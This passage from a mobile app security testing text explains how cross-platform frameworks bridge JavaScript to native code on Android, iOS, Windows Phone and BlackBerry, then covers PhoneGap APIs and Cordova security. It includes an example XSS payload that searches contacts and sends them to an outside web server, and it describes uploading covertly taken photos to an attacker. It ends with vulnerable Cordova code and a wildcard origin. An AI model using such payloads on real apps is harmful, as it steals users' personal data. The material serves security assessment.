Exposing Native Functionality on Android

The subject of native bridges on Android was briefly introduced in Chapter 7. However, for completeness, an illustration of how cross-platform frameworks implement a two-way native bridge is described in this section.

The WebView class provides the native container for cross-platform applications on Android. Java objects can be injected in to the WebView and exposed to JavaScript using the addJavascriptInterface method. A simple example illustrating how this can be implemented follows:

webView = (WebView) findViewById(R.id.webView1); 
webView.addJavascriptInterface(new JavaScriptBridge(), "bridge"); 
webView.getSettings().setJavaScriptEnabled(true); 
webView.setWebChromeClient(new WebChromeClient()); 
webView.loadUrl("file:///android_asset/main.html"); 
 
public class JavaScriptBridge { 
 
    @JavascriptInterface 
    public String helloWorld() 
    { 
        return "Hello World!"; 
    } 
}

In this example the helloWorld() method can be invoked from JavaScript, using the following code:

var HelloWorld = window.bridge.helloWorld();

Since API version 17 only methods with the @JavascriptInterface annotation are available to JavaScript code. Prior to API version 17, reflection could be used to execute arbitrary code on the device (CVE-2012-6636), as documented in Chapter 7.

The addJavascriptInterface technique is not the only technique used to implement a native bridge. Another common strategy implemented by some cross-platform frameworks is to overwrite event handlers. This works from the native container, by overwriting the definition of what happens when the JavaScript alert prompt and confirm events are invoked, allowing a custom callback to be defined from the Java container. For example, to define what happens any time the JavaScript alert() function is invoked, you might use the following code:

@Override 
public boolean onJsAlert(WebView view, String url, String message, 
    final JsResult result) 
{ 
    //do something 
    return true; 
}

It is common to see other event handlers such as onJsConfirm() or onJsPrompt() also overridden in a similar way.

Exposing Native Functionality on iOS

Implementing a native bridge on iOS is slightly more complex than it is for Android because no API methods are explicitly defined for this purpose. There is however a common hack to use when a native bridge is required. This technique works by overloading the URL loading system so that arbitrary messages can be passed from JavaScript to a callback in the native UIWebView. Any time a URL is loaded within the Webview it invokes the shouldStartLoadWithRequest delegate method, which intercepts the full URL, including any parameters. The format of the URL is typically used to pass messages from JavaScript to the native container. For example, the following may be used to find a contact in the address book:

window.location = mybridge://addressbook/search/contact?firstname=peter

The native container then implements the shouldStartLoadWithRequest delegate of the Webview using code similar to the following:

- (BOOL)webView:(UIWebView*)webView 
shouldStartLoadWithRequest:(NSURLRequest*)request 
navigationType:(UIWebViewNavigationType)navigationType { 
    NSURL *URL = [request URL]; 
    if ([[URL scheme] isEqualToString:@"mybridge"]) { 
       // parse URL, extract host and parameters to define actions 
    } 
}

The shouldStartLoadWithRequest method would typically read in the URL, then separate and interpret each of the URL components to determine what actions it should take.

The URL loading technique, however, provides only a one-way bridge from the web layer to the native container. It is possible to create a bi-directional communication channel using a JavaScript callback and the stringByEvaluatingJavaScriptFromString method of the UIWebview class. For example, to execute a JavaScript method from the native container you might find code similar to the following:

[webView stringByEvaluatingJavaScriptFromString:   
@"receiveContact('%@','%@')",firstname,surname];

This simple example would cause the receiveContact() JavaScript function to be executed, passing the NSString objects "firstname" and "surname" to JavaScript. When used in conjunction with shouldStartLoadWithRequest, this technique is capable of providing a rudimentary bridge between the native and web layers.

Exposing Native Functionality on Windows Phone

Native bridges in Windows Phone are implemented using an event-driven system. Whilst disabled by default, a callback from the web layer to the native Silverlight container can be enabled. This is done by first enabling the IsScriptEnabled property in the project, then handling the ScriptNotify event. A simple example of how you would handle messages from JavaScript in your Silverlight WebBrowser control may look as follows:

private void WebBrowser_ScriptNotify (object sender, NotifyEventArgs e) 
{ 
    // e.get_Value() object contains the message, parse and do actions 
}

The type of messages passed to the ScriptNotify event is entirely specific to the cross-platform framework. However, it is common to see the messages encapsulated in XML or JSON. The JavaScript code triggers the ScriptNotify callback by invoking the notify() function:

window.external.notify(jsonMessage);

For the web layer to receive the results of any operations, the native Silverlight application needs a means to pass data to the JavaScript code. JavaScript can be executed directly in the DOM of the WebBrowser control using the InvokeScript method:

MyWebBrowser.InvokeScript("receiveContact", firstname, surname);

This example would execute the receiveContact() JavaScript function with the "firstname" and "surname" variables as arguments.

Exposing Native Functionality on BlackBerry

BlackBerry is slightly different than the other platforms in that it already provides a native to web-layer bridge for WebWorks applications. As detailed in Chapter 14, WebWorks are built upon the Apache Cordova framework and a set of standard Cordova APIs are provided (https://developer.blackberry.com/html5/apis/v2_2/). It is, however, possible to also build custom WebWorks extensions that bridge C/C++ and/or Qt code with the JavaScript and HTML5 web layer using JNEXT. This topic was detailed in Chapter 14 so will not be covered in this section.

Beyond WebWorks applications, it is also possible to create a native bridge in BlackBerry Cascades apps. Native bridges in Cascades applications can be implemented using the WebView class and the message passing handlers. JavaScript executing on the web-layer can first invoke the navigator.cascades.postMessage() method and store a message handler in the navigator.cascades.onmessage property. A simple example of this may look as follows:

navigator.cascades.postMessage("Message from javascript");

The native container must then define the messageReceived() signal handler with an appropriate slot in the C++ or QML code:

connectResult = connect(webView, SIGNAL(messageReceived(const  
                QVariantMap&)), this, SLOT(onMessageReceived(const  
                QVariantMap&))); 
[...] 
 
void WebViewBridge::onMessageReceived(const QVariantMap& message) 
{ 
    qDebug() << "message.origin: " << message["origin"]; 
    qDebug() << "message.data: " << message["data"]; 
}

To pass messages from the native container to JavaScript, arbitrary JavaScript can be executed in the WebView using the evaluateJavaScript() function:

webView->evaluateJavaScript("addContact(" + firstname + ","  
+ surname + ")");

This example illustrates how evaluateJavaScript() can be used to directly execute arbitrary JavaScript in a Webview. In this instance the addContact() JavaScript function is executed with the firstname and surname parameters passed as arguments. Combining this technique with a messageReceived() signal handler provides an effective means of creating a native bridge.

Standard Features of PhoneGap

The PhoneGap API is relatively feature rich and provides access to many of the device’s native features, including the following:

• Accelerometer—Accesses the device’s motion sensor
• Camera—Captures a photo using the device’s camera
• Compass—Obtains the direction the device is pointing
• Contacts—Works with the device’s contact database
• Filesystem—Hooks into the device’s filesystem
• Geolocation—Accesses the device’s GPS location
• Media—Accesses or records videos, audio, or images
• Network—Accesses network information or performs network requests
• Notifications—Accesses or issues visual device notifications

These features will be of interest to you when assessing a PhoneGap application as it gives you an idea of what features an attacker exploiting the app might be able to access. Any vulnerability that can be exploited to execute arbitrary script may allow the attacker to invoke the APIs for malicious purposes.

Here is a simple example of how you can use the PhoneGap API to take a photo using the device’s camera using the getPicture() API call (https://github.com/apache/cordova-plugin-camera/blob/master/doc/index.md):

navigator.camera.getPicture(this.onPhotoDataSuccess, this.onFail, { 
    quality: 50, 
    destinationType: Camera.DestinationType.DATA_URL, 
    sourceType: Camera.PictureSourceType.CAMERA 
});

This example will take a photo using the device’s camera and return a base64-encoded string to the onPhotoDataSuccess() callback. In a cross-site scripting attack of a PhoneGap application, a malicious payload could abuse this feature to take a photo and upload the base64-encoded image to an attacker-controlled server using XMLHttpRequest() or PhoneGap API FileTransfer.upload()method.

A malicious payload could also pilfer the device’s contact database using the PhoneGap Javascript API, a simple example of how you might search for a user named “Herman” and upload their contact information to a remote web server looks like this:

function onSuccess(contacts) { 
    var url = "http://www.mobileapphacker.com/getcontact"; 
    var params = "givenname="+contacts[0].name.givenName+  
                 "familyname="+contacts[0].name.familyName; 
    var http = new XMLHttpRequest(); 
    http.open("GET", url+"?"+params, true); 
}; 
 
function onError(contactError) { 
    alert('onError!'), 
}; 
 
var options      = new ContactFindOptions(); 
options.filter   = "Herman"; 
options.multiple = true; 
options.desiredFields = [navigator.contacts.fieldType.id]; 
var fields       = [navigator.contacts.fieldType.displayName, 
navigator.contacts.fieldType.name]; 
navigator.contacts.find(fields, onSuccess, onError, options);

The other features of PhoneGap can be accessed in a similar way; these examples serve to illustrate the simplicity with which powerful native functionality can be accessed using JavaScript.

PhoneGap and Cordova Security

Neither PhoneGap nor the Cordova framework has come under any close scrutiny from the security community. However, as these technologies are a blend of native mobile applications and web applications it will come as no surprise to you that much of what you have learned in the previous chapters is applicable to your testing methodology. A number of framework-specific security considerations that you should be aware of are detailed in this section.

Furthermore, as Cordova applications rely heavily on HTML5, there are a number of HTML5-specific security concerns that apply. These will not be covered in this section but are detailed at length by OWASP (https://www.owasp .org/index.php/HTML5_Security_Cheat_Sheet).

1  public void loadUrl(String url) { 
2      if(url.equals("about:blank") || url.startsWith("javascript:")) { 
3          this.loadUrlNow(url); 
4      } else{ 
5          String initUrl=this.getProperty("url",null); 
6 
7          if(initUrl==null){ 
8              this.loadUrlIntoView(url); 
9          } 
10         else{ 
11             this.loadUrlIntoView(initUrl); 
12         } 
13     } 
14 }

1  public String getProperty(String name, String defaultValue) { 
2      Bundle bundle=this.cordova.getActivity().getIntent().getExtras(); 
3      if(bundle==null){ 
4          return defaultValue; 
5      } 
6      Object p=bundle.get(name); 
7      if(p==null){ 
8          return defaultValue; 
9      } 
10     return p.toString(); 
11 }

<access origin="https://mobileapphacker.com" />

<access origin="*" />